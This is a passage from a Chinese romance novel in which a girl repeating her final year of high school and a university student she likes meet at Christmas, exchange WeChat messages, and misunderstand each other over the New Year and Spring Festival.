“那你跟我一起，以T大为目标。”林静笑道。
左榆慌忙摇头摆手，“不不不，你可能还不清楚我的能力，别说这辈子，就算下辈子，我也考不进T大。”
“不要妄自菲薄，只要朝着目标努力，就一定会有收获。”
第一次见面，林静就给左榆灌了一壶“鸡汤”，不得不说，这壶“鸡汤”还挺有效，左榆甚至开始觉得自己真的有可能考上T大。
复读的日子过得很紧张，左榆身上仅存的懈怠在看到大家的读书状态后自然消失了，大家似乎从早上起床睁开眼，到晚上睡前闭眼，中间无时无刻不在学习。想到自己之前读书时浪费的时间，她突然觉得自己高考落榜得一点不冤。
她很庆幸杨嘉安在暑假里给她补习了将近一个月，否则她可能完全跟不上这个班的复习进度，外加上遇上了林静这个学霸同桌几乎能解答她全部的疑问，所以她的成绩进步非常快。
学习几乎占据了左榆全部的时间，所以她越来越少主动与杨嘉安联系，但是偶尔拿出手机，发现有杨嘉安发来的微信时，她也会欣喜不已。
杨嘉安给她发的信息都是一些日常问候，很少提及自己的学习和生活，左榆有时候虽然会对大学生活感到好奇，尤其是T大这种知名学府，但她没有主动问得太细，似乎总是小心翼翼，怕自己的言行会越界。
唯一一次，她敞开心扉给杨嘉安发了一句“好想你”。
圣诞节前，学校组织了一次摸底考试，左榆的成绩进步巨大。爸爸和妈妈看到成绩后乐得合不拢嘴，晚饭时，三人聊起成绩，妈妈突然提到了杨嘉安。
“看来暑假那一个月的补习起了非常大的作用，嘉安这孩子是真厉害，不但自己会学，还会教别人，过年回你外婆家时，我必须要去专门感谢他。”
左榆闷头吃着饭，压抑着自己的心情，她担心自己一松懈，就在爸爸妈妈面前表现出对杨嘉安的疯狂喜欢。
“你不是有他微信吗？你也记得要好好谢谢他，知道吗？做人要知恩图报。”
妈妈见左榆一副不在乎的样子，以为她压根就不知道感谢杨嘉安。
“我知道。”在妈妈开始说教之前，左榆几口扒完了碗里的饭，“我吃完了，回房间看书了。”
回到房间，左榆拿出手机，本想给杨嘉安发条信息，但被陶然的微信给刷屏了。
【AAA防盗窗定做：别说做姐妹的不讲义气，今年的第一场雪，专门拍给你看】
在这条信息后面，接着好几个长视频。
左榆一个个视频点开，视频里的雪花不算大，飘飘扬扬，但从背景音里可以听出，大家都非常兴奋。
【小鱼干儿：如果我也在你们那就好了】
因为气候的原因，广市的冬天从来不会下雪，左榆长这么大，只在两次春节去外婆家时遇到了下雪天，她记得那年的雪下得特别大，她在雪地里玩了好久，玩到身上的衣服鞋子全都湿了。
【AAA防盗窗定做：明年就能看到了摸头.jpg】
看完视频，左榆有翻看了一下朋友圈，点进去就看到了陶然撒的狗粮。
她发的是一张她依偎在宋浩然怀里的自拍，照片没有拍出来宋浩然的脸，但拍出了她满脸溢出屏幕的幸福感，配字是“我们终于一起看雪了”。
这一刻，左榆突然很想念杨嘉安，海市跟榕城隔得不远，是不是今天也下雪了？
于是，她给杨嘉安发了一条“大胆”的微信。
【小鱼干儿：海市下雪了吗？好想你。】
发出去后，左榆又有些不好意思，撤回了信息，重新编辑了一遍才发出去。
【小鱼干儿：陶然说榕城下雪了，海市下雪了吗？】
她不知道，前面被她撤回的那句，杨嘉安已经看到了。为了装作没看见，他故意等了几分钟后才回复她。
【Y：还没有下雪。最近还好吗？】
【小鱼干儿：都还好，前几天进行了模拟测试，我拿了不错的分数，我妈妈刚刚还提到你了。】
【Y：提到我？】
【小鱼干儿：嗯，说是你暑假给我补习的功劳，还说过年回我外婆家时要特地去感谢你一趟，还让我发微信感谢你。】
【Y：复读很辛苦吧？你应该感谢你自己。】
杨嘉安的这句话一下就暖和了左榆的心，洗去了她这段时间的疲劳，她的眼泪瞬间掉了下来。
大家都知道复读很辛苦，从早到晚都在学习，不仅承受着身体的疲乏，还有心理压力，但身边从没有人跟她说过一句“辛苦了”。
【小鱼干儿：不辛苦，嘿嘿】
她抹干眼泪，笑着给杨嘉安回过去。
【Y：明天圣诞节，跟朋友出去玩吗？】
【小鱼干儿：不去，班上的同学应该都要回家温书复习。】
【Y：你们一般几点放学？早的话，可以跟同学出去逛一逛，偶尔放松一下也好。】
【小鱼干儿：平时是六点，明天是周五，下午五点就放学了。】
【Y：嗯。】
和杨嘉安聊了一会儿后，左榆感觉心情好了不少。杨嘉安跟她分享了自己在学校的一些事情，虽然都是一些小事，但左榆听得开心，这还是杨嘉安第一次主动跟左榆分享他的日常。
第二天是圣诞节，虽然街上的氛围感很浓，但左榆心里毫无波澜，对于她来说，这不过是平平常常学习的一天，直到放学时看到站在校门口的杨嘉安。
左榆背着书包刚走到校门口，就听到旁边的几个女生语气激动地在聊天。
“我天，那个人好帅啊！”
“是是是，我也看到了，是我们学校的同学吗？”
“
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应该不是吧，如果是我们学校的，早就出名了。”
左榆听到这些对话时，心里还在想，能有多帅，有杨嘉安那么帅吗？结果下一秒，杨嘉安就映入了她眼帘。
正是放学时间，校门口的学生很多，但是人群之中，穿着黑色卫衣的杨嘉安格外抢眼，经过他身边的女生都会多看他几眼。
左榆站在距离杨嘉安大概三米远，呆在原地，满脸震惊。“你怎么来了？我不是在做梦吧？”她惊呼道
“来看看你。”杨嘉安慢慢朝她靠近，一脸宠溺看着她，因为她昨天撤回的那一句“想你了”，他连夜买了今天的机票赶过来，他也想她了。
左榆激动地手足无措，不知道该说些什么。
“先带我去吃饭？我午饭还没吃。”杨嘉安说着，顺势拿下左榆身上的书包，“我来背。”
“好啊，但是你能不能先把手机借我用一下，我想给我妈打电话说一声。”她上学一般不带手机。
杨嘉安从裤兜里掏出手机，解锁后递给左榆。
左榆拨通了妈妈的电话，但是第一次妈妈没接，她又打了一次，第二次才打通。
“妈妈，我晚上不回家吃饭了，晚点回家。”
左榆妈妈听完，立即警惕起来，她知道现在的孩子都喜欢过各种节日，尤其对于早恋的孩子来说，逢节日必过。
“跟你同学一起吗？男生还是女生？”
“杨家奶奶的那个哥哥来了我们广市……”
“嘉安吗？”左榆妈妈没等左榆说完，打断问道。
“嗯，是他。”
“哎哟，是他呀，行行行，你身上有没有钱？记得要找一家好的餐厅招待他。”
“有一点现金，我还有卡。”
“行，那你去吧。”
打完电话，左榆把手机还给了杨嘉安。
杨嘉安接过手机，淡笑道：“你刚刚称呼我什么？”
“啊？”左榆愣了一下，回想自己刚才说的话，她刚刚说他是杨家奶奶的那个哥哥，“哥哥？”
杨嘉安压抑不住嘴角的弧度，扭头冷静了一下。
“我倒挺喜欢这个称呼。”他自言自语，但是声音很小，左榆似乎并没有听见。
“你想吃什么类型的菜，我们这里玩的地方不多，但是美食很多。”
“吃你喜欢吃的。吃完饭，有时间一起逛一逛吗？”
“有的。”左榆笑嘻嘻回道，“那我带你去一个据说今晚会下雪的地方。”
“好。”
圣诞节加上下班晚高峰，地铁站人挤人。左榆走在杨嘉安前面，杨嘉安跟在她后面，但是两人没走几步，就被人群给冲散了。
左榆回头没看到杨嘉安，踮着脚东张西望寻找他的身影，突然，她感觉有人在她身后抓住了她的手，条件反射要缩手时，才发现抓住她的人是杨嘉安。
“人太多了。”杨嘉安说着，原本只是抓住左榆手腕的手滑到了她的手掌上，随后轻轻牵住了她的手。
他手心的温度直击左榆的心脏，这是杨嘉安第一次真正牵左榆的手，从前，包括前一秒，杨嘉安都只是抓着她的手腕，不曾掌心相对而握。
在拥挤的地铁上，手心微微沁出的汗，以及来自地下铁的风，还有与杨嘉安之间的距离，都让左榆感到沉醉。
9. 第 9 章
左榆带杨嘉安去了一个商场，早在一个多星期前，她就听说这个商场在圣诞夜会有“人工降雪”活动，动过想来看的心思，但又觉得孤单一人过来没什么意思，谁曾想杨嘉安竟然会来广市。
他们在商场里的一家餐厅吃的晚餐，左榆准备买单时却被杨嘉安抢了先。
“我妈妈让我好好招待你。”
“没事，我付就行了。”
买完单，餐厅的服务员提醒两人，今晚餐厅有抽奖活动，让两人移步到门口的抽奖区碰碰手气。
“一等奖是一台拍立得！不过我们肯定抽不到，像这种活动，我只抽到过代金券和纸巾。”
“说不定今天不一样呢？”杨嘉安笑道，“你去抽。”
“我运气不好哎，还是你抽吧。”
“没关系，去吧。”
左榆将小票递给服务员，随后在抽奖箱里摸了好一阵才拿出一颗球，是一颗金色的小球。服务员看到后，惊呼道：“天呐，你中奖了！中了一等奖！”
“真的吗？”左榆兴奋地差点蹦起来。
“是的是的，你们稍等。”服务员看起来比左榆好兴奋。
一会儿后，服务员从里面拿着一个礼盒走了出来，“恭喜二位抽到我们今晚唯一的一等奖。”
“谢谢！！”左榆咧嘴笑嘻嘻接过拍立得，周围的人无不朝他们投来羡慕的眼神。
“我是不是把这辈子所有的运气都用完了。”左榆将拍立得举到杨嘉安面前。
“怎么会？单是我买的，如果一定要花光所有的运气才能抽到，那也是花了我的运气。”
“我现在可以拆开吗？”
“拆吧。”
左榆一屁股坐到餐厅旁边的等候区，迫不及待地拆开礼盒，“哇，好可爱啊！”一边拆，她一边感叹。
杨嘉安站在她身边，面含微笑看着她。
“但是，这个怎么用呢？我想拍一张试试。”
杨嘉安坐到她身边，不紧不慢帮她组装好相纸和其他的东西，“按这里就可以拍了。”
“我来拍一张。”左榆说着，四下张望了一番，想看看拍些什么好，但目光所至都没看到值得她拍一张拍立得的东西。突然，她想到一楼有一些漂亮的圣诞造景，“我们去一楼拍那些装饰。”
杨嘉安却从她手中拿过拍立得，说：“拍景不如拍人。”
左榆以为杨嘉安要给她拍一张，没想到他拿着拍立得走到刚刚那位服务员旁边说了几句话，服务员就跟着他一起走了过来。
“怎么啦？”左榆还没明白过来，杨嘉安就坐回到她旁边，自然而然地伸出一只手搂住了左榆的肩膀。
“看镜头。”
左榆这才反应过来，杨嘉安是让那个服务员帮他们拍照。她的身体突然僵硬，连呼吸都不敢太用力，直到服务员拍好照片后，杨嘉安松开搂着她肩膀的手。
拍立得上面的图像渐渐显现，可左榆跳乱的心还没有平静下来，在毫无准备的情况下，她拥有了和杨嘉安的第一张合照。
“拍得挺好。”杨嘉安说完，将照片塞进了自己的口袋里，“这张给我。”
“啊？不行，我也要！”左榆条件反射，甚至想去杨嘉安的口袋里掏照片，但是杨嘉安闪开了。
“还有几张相纸，一会儿再拍一张给你。你不是说要去看雪？”
“好吧。”
“人工造雪”是在商场外面的小广场上，左榆和杨嘉安刚走出商场的大门，就听到不远处穿来一阵欢呼声。两人闻声看去，原来恰好开始飘起了雪花。
“快走！”左榆雀跃地往人群中跑去，杨嘉安紧跟在她身后，就怕一眨眼她又消失在人群里。
左榆抬头看着飘扬的雪花，伸出手接住了其中一片，让她没想到的是这雪花竟然也会融化。
“你看，它能融化！”左榆像是发现了什么不得了的事情，激动地展示给杨嘉安看。
杨嘉安看着左榆兴奋地像个孩子，眼神澄澈明亮，不觉受了影响，也伸出手接住了一片雪花，果然，雪花飘到他的手上，一会儿后就化了。
雪花隔二十分钟会飘一次，左榆等了两次，她还想再等两波，杨嘉安提醒她：“不早了，你该回家了。”
左榆看了看手表，就快十点，确实该回家了，可是她怎么舍得。
“你家在哪，我送你回去。”
“不是很远，坐地铁三站路。你呢？你晚上住哪里？”
“定了在你学校附近的一家酒店。”杨嘉安不知道左榆家在哪里，就近定了她学校附近的酒店。
“学校附近？那离这里有点远呢。”
他们来到时候坐了很长一段时间的地铁。
“早知道的话，我就不带你跑这么远了。”
“我近了，你不就远了？没事，先送你回家。”
两人往地铁站走时，非常默契地走很慢。
“你什么时候回学校？”
“明天下午的飞机。”
“这么快？明天不是周六吗，周日回去也可以吧？”
“周日有事要做。”
“哦。”
想到杨嘉安明天就要回学校，左榆就打不起兴致，一路上始终很丧气。
杨嘉安送左榆到她家楼下，见她闷闷不乐的样子，揉了揉她的脑袋，“有时间的话，我会再来看你。”
“真的吗？”这句话确实安慰到了左榆。
“嗯，真的。有事的话，可以随时在微信找我，没事也可以找我。”
“好。”左榆的情绪慢慢好转，无论如何，杨嘉安今天陪她度过了开心的圣诞夜，“谢谢你陪我看雪，虽然是假的雪。”
“雪是假的，但我的真的。”杨嘉安突然说了这么一句。
“啊？”
“快上去吧，早点休息。”
“嗯，那我回家了。”
“去吧。”
杨嘉安看着左榆进小区大门，直到看不到她才拿出手机准备打车回酒店，刚输入目的地，就收到了左榆发来的微信。
【小鱼干儿：忘了拍照哭.JPG】
【Y：有机会再拍，会有机会的】
【小鱼干儿：大哭.JPG】
【Y：摸头.JPG】
从左榆家到酒店确实有些远，杨嘉安坐车坐了将近四十分钟，这也是左榆每天上学要花费在路上的时间，确实辛苦。
回到酒店房间，杨嘉安才感到一阵疲乏，他躺在沙发上，从口袋里掏出那张照片端详，耳边又响起左榆的那声“哥哥”，脸上悄然浮出笑意。
另一边，左榆同样是躺在床上回味着这一晚所发生的事，她盯着被杨嘉安牵过的手，仿佛上面还存留着他的温度。
一切都是真实的，却又仿佛是在梦中。
第二日，左榆
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还在蒙头大睡时，妈妈火急火燎敲开了她卧室的门。
“快起床！”妈妈掀开她身上的被子。
“妈妈，今天周六，让我再睡一会儿吧。”
“嘉安来了！你还不快点起床。”
“管他谁来了，让我再睡……”左榆的脑子突然清醒过来，一个鲤鱼打挺从床上坐了起来，“谁……谁来了？”
“嘉安，杨嘉安呐，你们昨天晚上不是还一起吃饭了？”
“他现在已经到了？”
“昂，现在正坐在客厅沙发上呢。”
左榆飞速起床，冲进卫生间整理洗漱。
“小鱼，你快点出来陪陪嘉安，妈妈去买些菜回来。”
“好，我知道了。”
左榆有些不太好意思地走到客厅，“你怎么来了？”
杨嘉安笑笑，说：“不欢迎么？”
“当然没有，只是你昨天又没说你今天要到我家来，那你还不如昨天晚上在我家睡呢，还省了住酒店的钱。”
杨嘉安嘴角带着微笑，默默看着左榆。来左榆家坐坐的想法是昨天半夜产生的，因为他想在回学校之前见一见左榆。今天一早，他就给左榆妈打了电话，说想来她家里坐坐，左榆妈妈自然是非常欢迎，早早就到楼下等着他了。
“你别老看着我，一会儿我妈妈回来该看出来点什么了，我妈妈那双眼睛可精明了。”左榆说着，抬起一只手挡住自己的脸。
“你上次说你们最近摸底考试了？”
“嗯。”
“给我看看你的试卷，分析分析问题。”
“好啊，你来我房间。”
这是杨嘉安第一次进女生的房间。与他房间的冷清不同，左榆的房间摆放了许多手办和毛绒，看起来活力十足，书桌上放着昨晚他们中奖的那台拍立得。
“你坐，我找一下试卷。”
杨嘉安应声坐在了书桌前，左榆在书柜里翻出了各科的试卷，整理好后放在他面前，“喏，就是这些。”
“我看看。”杨嘉安说罢，开始认真地翻看起试卷。
左榆站在他身边，目光不在试卷上，而在他的侧脸上，完美的下颌线，完美的鼻梁，眼角微微下垂的无辜小狗眼是在太容易拿捏她了。
“还不错，基础知识部分没有什么大问题，提高部分还是有点生疏，要多做些类似的题……”
杨嘉安说着，抬头看了一眼左榆，正好对上了她痴痴的眼神。
“怎么了？”他问。
“没什么，我就是看看你。”左榆脑子一热，倒回答得坦荡，她瞥到桌上的拍立得，立即转移换题，“你昨天晚上说再拍一张照片，后面也没拍。”
“那现在拍？”
“好啊，但是没人帮我们拍。”
“自拍也可以。”杨嘉安说着站了起来，他一手拿着拍立得，另一只手非常自然地又搂住了左榆的肩膀。与昨天不同的是，这一次，他将左榆按进了怀里。有了昨天的经验，左榆这次放松了许多。
拍好照片后，杨嘉安拿出相纸甩了甩，看着照片渐渐显现，他说了一句：“这张我也想要。”
“这张是我的，不能再给你了。”左榆想从他手中夺过照片，却被杨嘉安握住了手腕。
两人四目相对时，周围的空气仿佛凝固了。左榆的心跳漏了一拍，她跟杨嘉安隔得非常近，她不知道下一秒会发生什么事。
10. 第 10 章
屋外传来按密码锁的声音打断了凝固的气氛，左榆猜想是妈妈回来了，趁杨嘉安还愣着，快速从他手中夺过刚刚拍的照片，随后拉开与杨嘉安之间的距离。
左榆妈妈提着满满两袋菜急匆匆进厨房，左榆的房间在厨房隔壁，妈妈见他俩在房间里，随口问了一句：“怎么不去客厅坐，客厅大坐着舒服。”
“他说要看看我上次模拟考试的试卷。”左榆指了指杨嘉安。
妈妈听罢，笑靥如花，“行，你们聊着，我去准备一下中午要做的菜。”
杨嘉安重新坐回了书桌前，又仔仔细细看了一遍左榆的试卷，“这种类型的题目你容易出错。”
“嗯，老师评讲试卷的时候看到班上大部分人都没问题，就没有细致地讲，其实我现在还有点弄不明白。”
“你先跟我说说你的思路，我看看是哪里出了问题……”
两人一番探讨，不知不觉就到了吃午饭的时间。饭菜香味飘到左榆的房间，左榆肚子咕咕叫了几声。
“不好意思啊，可能是没吃早餐，现在有点饿了。”左榆惭愧道。
“这个题型的思路弄清楚了吧？”
“嗯，清楚了，等下就去找两道类似的题组做一做，我感觉我现在强得可怕。”
杨嘉安淡笑，“先吃饭吧。”
话音刚落，左榆妈妈就来叫他们吃饭。
“爸爸中午不回来吃饭吗？”左榆快速摆好碗筷，但见爸爸还没回来。
“他公司有事，晚上才能回来，我们吃。”
“好。”
饭桌上，左榆妈妈不停帮杨嘉安夹菜，又拉了一会儿家常，问及他爸爸和奶奶的近况，唯独没有提他的妈妈，左榆虽然好奇，但没有直接问出来。细细想来，从上次见面时的场景能够看得出，杨嘉安的妈妈的确是一个很特别的人。
午饭后，杨嘉安就准备去机场。
“我送你去机场吧？”
“不用了，我打车过去很快就到。”杨嘉安不让左榆送她，他也不忍心让左榆独自从机场回来。
左榆虽然不舍，但是没有坚持，她和妈妈送杨嘉安到楼下打车。妈妈脸上的笑容一直都没有停过，直到出租车消失在她们面前，她也不舍得转身离开。
“真羡慕杨婶有一个这么优秀的孙子，成绩好，长得又帅。”
“你也想要一个这样的孙子？那没办法，你就生了我一个，想要孙子，这辈子都没可能了。”左榆实在被妈妈那副羡慕的样子无语到了，吐槽道。
“去去去，少贫嘴，回家洗碗去。”
听到要洗碗，左榆叹了声冷气，她很不喜欢洗碗，“我宁愿做两张数学模拟卷。”
“模拟卷要写，碗也要洗。”
“好吧。”左榆答完，突然想到了什么，蹭到妈妈旁边，小声问道，“你刚刚提到了他的爸爸和奶奶，怎么没提到他妈妈，你认识他妈妈吗？”
两人便聊着边往回走。
“以前在你外婆家见过几次，后来说是离婚了，就没怎么见过，中间据说两人还闹得挺凶，他妈妈那边的家人都找上门来了。我那个时候已经到广市来了，不是很清楚具体发生了什么事。”
“那外婆肯定知道吧？”
“你还想去问你外婆啊？你小小年纪怎么这么八卦，可不准问啊。”
“为什么呀？”
“你杨家奶奶不喜欢别人提起这件事。”
“好吧。”左榆见状，就没提起暑假时见过杨嘉安妈妈的事。
回到家后，左榆马不停蹄去洗碗。洗完碗回到自己的房间，看到刚刚还坐着杨嘉安的凳子此刻空空如也，再一次牵起了她的想念。从昨天晚上到现在，还没到二十四小时，在她心里漫长又短暂。
漫长是因为两个人共同度过的每一秒都深深印在左榆的脑袋里，短暂是因为这一切来得快走得也快，恍惚间，杨嘉安已经坐上了离开的飞机。
正是午后犯困的时候，左榆又全无复习的心思，干脆躺床上休息去了，她几乎是抱着跟杨嘉安的那张合照睡着的。大约睡了一个多小时，她醒来后第一件事情就是看手机，果然收到了一条杨嘉安发来的微信。
【Y：我到机场了。】
【小鱼干儿：我刚睡了一觉，才看到信息。】
【Y：嗯，趁着放假好好休息，身体比学习更重要。】
【小鱼干儿：嗯嗯，我知道哒。】
【Y：春节回你外婆家吗？】
算一算时间，还有不到两个月的时间就到春节了。杨嘉安这是才分别，就开始等待下一次见面了。
【小鱼干儿：没有特殊情况的话应该是要回的。】
【Y：嗯，那很快就又能见面了，也许到时候会下雪，比昨天更大的雪。】
【小鱼干儿：已经开始期待了……】
两人闲聊了好一会儿后，杨嘉安要登机了，暂时关闭了手机。
左榆抬头看了看窗外的天，广市的天空向来繁忙，交织着飞往各地的航班，头顶经常传来飞机飞过的轰鸣声，但今天有些不同，因为在这些航班之中，有一架飞机里坐着杨嘉安。
日子看似又恢复到了从前，但是见面过后，戒断很难，在好几天的时间里，左榆只要走到学校大门口，就会想到那日放学时，杨嘉安站在门口等她的场景。好在她有一张他们的合照，可以缓解在不经意间突如其来的想念。
过完圣诞很快就到了元旦。跨年夜，左榆还在复习白天老师所讲的内容，杨嘉安突然发来微信。
【Y：在忙吗？】
左榆立即放下笔，回了一句“不忙”。
【Y：要不要视频一会儿？】
这是杨嘉安第一次提出跟左榆视频。
【小鱼干儿：好啊。】
她刚回复，杨嘉安就发起了视频通话。
“你在宿舍里吗？”
杨嘉安穿着一件黑色卫衣，似乎就是上次来广市时穿的那件。
“嗯。”
“怎么没有跟同学一起出去跨年？”
“你不是也没有出去跨年。”杨嘉安笑道。
“出去也没什么意思……”
两人正闲聊着，杨嘉安的室友突然回来了，看到杨嘉安在视频，他一脸坏笑在旁边说了一句：“原来拒绝某人的跨年邀请是为了在宿舍跟另外一个妹妹视频啊？”
“你怎么回来了，被人放鸽子了？”
“你才被放鸽子，哥回来拿点东西。”室友说完，在桌上一顿翻找，找到以后又坏笑道，“哥走了，不打扰你们。”
左榆听到了男生说的话，内心一阵欣喜。
“你同学吗？”
“
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室友，不是同一个专业的。”
“哦。有人约你出去跨年吗？”
杨嘉安怔了一下，“嗯，但是我不想去。”
左榆还想问一句约他的人是男生还是女生，但杨嘉安突然拿起手机，说了句“有电话”，视频就中断了。她本以为这是一个简短的电话，但在等了二十分钟后，杨嘉安依旧没有再次发起视频通话。
她没有继续等，将手机放到一边，拿起笔继续复习，可精神始终都无法集中，眼神不时瞟向手机。
手机倒是寂静无比，连垃圾推送的提示音都没有。
突然，一条微信消息的提示音响起，她立即拿起手机查看，然而期待变成了失望。
【AAA防盗窗定做：跨年夜在干什么呢？】
【小鱼干儿：做题。】
【AAA防盗窗定做：牛，就凭你这份毅力，明年高考必考出好成绩。】
【小鱼干儿：借你吉言。】
等不到杨嘉安的信息，左榆也无心复习，干脆洗洗睡了。
午夜，她被楼下的一阵吵闹声惊醒，摸出压在枕头下面的手机看了看时间，0点12分，是新的一年了，打开微信，点开杨嘉安的对话框，最新的消息还停在“视频通话已中断”的提示语。
左榆想发一条“新年快乐”过去，但又担心打扰到杨嘉安休息，点开朋友圈，大家都在告别过去，展望新的一年，刷着刷着，她竟然看到了杨嘉安在十分钟前发的朋友圈。她认识杨嘉安这么久以来，还是第一次见他发朋友圈。
“既然是新的一年，那就重新开始吧。”这是杨嘉安发的朋友圈的文字，配图是一张黑夜中的焰火。
所以，他在打完电话后出去跨年了。
“跨年就跨年，为什么不说一句呢。”左榆心里很难受，可是转念一想，她又不是他的谁，他没必要事事向她汇报。
想到这里，她的心更加难受了。她想到了那个叫林毓敏的女生，开始猜测她跟杨嘉安之间可能发生的故事，是分手后又在一起了，所以才说重新开始吗？各种猜想交织在她的脑子里，乱成一团。
而她，失眠整晚，直到凌晨四点才昏昏沉沉睡去。
第二日醒来时，已经是上午九点多。微信里躺着一条未读信息，左榆感觉是杨嘉安发来的，这次，她的感觉是对的。
【Y：醒了吗？新年快乐。】
左榆心里还负着气，就在她拿着手机犹豫要不要回复时，张星辰打来了电话。
“今天出来看电影吗？”
“你回广市了？”
“专门回来看你的。”
左榆其实并不是很想去看电影，但一想到杨嘉安昨晚的那条朋友圈，她就丧失了理智，一口答应了张星辰。
不仅是如此，在看完电影后，她还特地拍了张电影票的照片发朋友圈，配的文字是“新年第一天就有人陪看电影，针不戳”。
这条朋友圈，仅对杨嘉安可见。
发布后不到五分钟，杨嘉安给她发了条微信。
【Y：看电影去了？】
左榆依旧没有回复。
杨嘉安坐在球场的休息区，将左榆朋友圈的那张照片看了又看，放大又缩小，缩小又放大，除了两张电影票之外，他还看到一点点张星辰的影子，打完球后才恢复正常的心率又飙升了。
11. 第 11 章
“发什么愣呢。”室友拿着两瓶水从场外走进来，递给杨嘉安一瓶水。
杨嘉安将手机放在一旁接过水，“谢谢。”说完，他拧开瓶盖，喝下一大口水。
“不用谢，水是某人买的。”室友说着，朝杨嘉安使了个颜色。
杨嘉安顺着室友的眼神望去，看到了站在球场外的人。
“要我说，你真是个狠人，人家女生都做到这个程度了，也融化不了你的心？”
杨嘉安没有说话，拧紧瓶盖后，将水放在一旁，又上了球场。
室友无奈地摇了摇头，这时，他的手机响了一声，来了一条微信，“喂，有信息来啦！”
但杨嘉安没有听到室友的话。
另一边，左榆的矜持没有保持多久，还是忍不住回复了杨嘉安的微信，然而直到她回到家，杨嘉安都没有再发微信过来。这种感觉糟透了，在面对杨嘉安时，她已经控制不住自己的行为和思想，总是这样被动地等待，让她感觉自己很卑微。在这种时候，即便是两个人的合照也拯救不了她低落的情绪。
元旦假期就这样在信息拉扯中过去了，返学的第一天，左榆第一次感觉到疲惫，身心俱疲的感觉。
今年春节来得早，元月底就该过春节，所以上不了多少天课就要放寒假，老师们为了能在寒假前再狠抓一把大家的成绩，将每天的学习任务安排得非常紧凑，几乎到了一睁眼就是学的地步。
这种几乎疯狂的节奏让左榆没有多余的时间乱想，也不在将注意力放在等待上面。
眨眼就到了学期末，在期末测评上，左榆又进步了一些，妈妈看着她的成绩，乐得合不拢嘴。
“还有十几天就到春节了，今年春节我们去外婆家拜年吗？”
结束了这个阶段的疯狂学习，左榆开始期待与杨嘉安的见面，同时，她觉得是不是该弄清楚杨嘉安有没有跟那个女生重新在一起。
“那是肯定要去的。”妈妈拿着左榆的试卷，仍然沉浸在令人满足的成绩上面。
像是有心灵感应似的，左榆刚拿出手机，就收到了杨嘉安发来的微信。
【Y：放寒假了吗？过年回不回外婆家？】
【小鱼干儿：放寒假了。我刚刚问了我妈妈，她说过年要去外婆家拜年。】
【Y：嗯，我等你。】
看到杨嘉安的这句话，左榆很想截图他那条朋友圈，直截了当问出自己的疑惑，可当她去翻他的朋友圈时，却发现跨年夜那条不见了。
所以，到底是该问，还是作罢？
左榆选择了后者，既然他删了，那就当作没看过吧。
临近春节，年味越来越浓，家家户户都开始忙碌起来，办年货、买年花，大街小巷都播放着独属春节的歌曲。左榆感觉自己很多年没有这么期待春节了，大概是因为这一次，她期待的不是春节，而是与杨嘉安的见面。
除夕夜，左榆本想好好待在家里跟杨嘉安聊聊天，但爸爸妈妈非得带她去看烟花，说是一个月前就定好了看烟花的位置，左榆不好扫兴，就跟他们一起去了。
看完烟花回到家已经是晚上十一点多，期间她拍了两个视频发给杨嘉安，但因为周围的人太多手机信号不好，迟迟发不出去，直到回家的路上才发送成功，但杨嘉安一直没有回复她。
她不知道杨嘉安在除夕夜会干些什么，但应该不至于这么忙。快到零点时，她打算给他打个电话，却正好收到了他发来的微信。
【Y：还在外面吗？】
【小鱼干儿：已经回家了。】
【Y：嗯，回家就好，我刚到酒店。】
【小鱼干儿：酒店？你除夕夜住酒店？】
【Y：陪我妈出来旅游了。】
听到杨嘉安说他去旅游了，左榆心里一咯噔。
【小鱼干儿：哦，那你什么时候回家呀？】
【Y：大概半个月后。】
半个月，所以他没打算过年跟我见面吧。左榆的情绪突然低落下来，但她还是小心翼翼问了一句：
【小鱼干儿：所以我们春节见不到面了，是吗？】
杨嘉安那边沉默了许久，才发来两个字：“抱歉”。
左榆突然觉得自己很可笑，期待了那么久的见面原来在杨嘉安眼里根本不算什么，他甚至都没有提前跟她说过年要出去旅游的事，如果今天两个人没有提到这事，大概等她去了外婆家才会发现杨嘉安在外旅游。
【Y：开学后，我有时间的话去广市看你。】
杨嘉安又补充了一句。
【小鱼干儿：不用，你有时间我没时间，我还要上学呢。】
左榆气呼呼地回怼了他。
这时，客厅的电视里传来倒数的声音，“5,4,3,2,1，过年好……”
再过两天，左榆就要跟爸爸妈妈一起去外婆家拜年，可是之前的等待在这一刻失去了全部意义。或许早在跨年夜那天起，她就不该再有什么期待，这种患得患失的感觉，糟糕透了。
两天后，左榆按计划去了外婆家，只是心里没有了任何期待。到达时已经是下午，天空刚好飘起了雪花。那条在夏天里走过的狭窄水泥路，路边的杂草、矮树都枯萎了，一眼望去，光秃秃的，映衬着飘雪，更加萧瑟。
“你走慢点，这还有伞呢……”
妈妈的声音从身后传来，左榆恍惚回到了暑假，只是那时的伞是遮阳，如今的伞是挡雪。
“这雪落在身上，衣服就要湿了。这种天气，衣服湿了都不好干。”妈妈一边唠叨着，一边疾步赶上左榆，将撑开的伞塞进她的手里。
雪越下越大，左榆倒越走越慢。这种天地茫茫一片的景色，她很喜欢，随手便拍下一张发了条朋友圈，配字是：这次是真的雪。
五分钟后，杨嘉安发来了一条微信。
【Y：家里下雪了？】
左榆只是看了一眼微信内容，然后就收起了手机。在这两天里，杨嘉安偶尔也会给左榆发简单的问候微信，但她统统没有回。她要是没有回复，杨嘉安就不会连续发，这次，她依然没回复，但杨嘉安又发来一条微信。
【Y：真不理我了？】
第三条。
【Y：要怎样才愿意理我？】
到这里的时候，左榆的怒气其实已经烟消云散了。
第四条。
【Y：我一回来就去广市看你，行不行？】
【小鱼干儿：谁稀罕你来看我，
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你又不是我的谁。】
左榆本是一句开玩笑的话，但冷冰冰的文字读不出情绪，杨嘉安把这句话看成了左榆的气话。
【Y：也是。】
左榆意识刚自己刚刚说的那句话不太妥当，立即撤回了，然后回复了杨嘉安的第一条信息。
【小鱼干儿：下雪了，还很大。】
【Y：雪天气温低，注意保暖。】
从杨嘉安发来的文字中，左榆也看不出他的情绪，不知道他有没有因为刚刚那句话而生气。
【小鱼干儿：嗯，会的。】
杨嘉安看着手机上左榆发来的信息发着呆，一个温柔的声音打断了他。
“心情不好吗？”说话的人是杨嘉安的妈妈，”怪我这个时候犯病，不然你就能开开心心过年，见到你想见的人。“
“你又说这些……”杨嘉安将手机塞进卫衣的口袋里，“我没有不开心，你好好的我才会开心。”
杨妈妈躺在病床上，脸色看起来不是很好，她刚刚睡了一觉，醒来就看到坐在病床边的杨嘉安眉头微蹙，情绪低落的样子。
“大过年的，也不好让你外公外婆知道我犯病了，就只能让你来医院陪我。你放心，有你这样一个优秀的儿子，我一定会快快好起来。”杨妈妈尽量挤出一些笑容，让自己的话听起来轻松一些。
“还痛吗？”
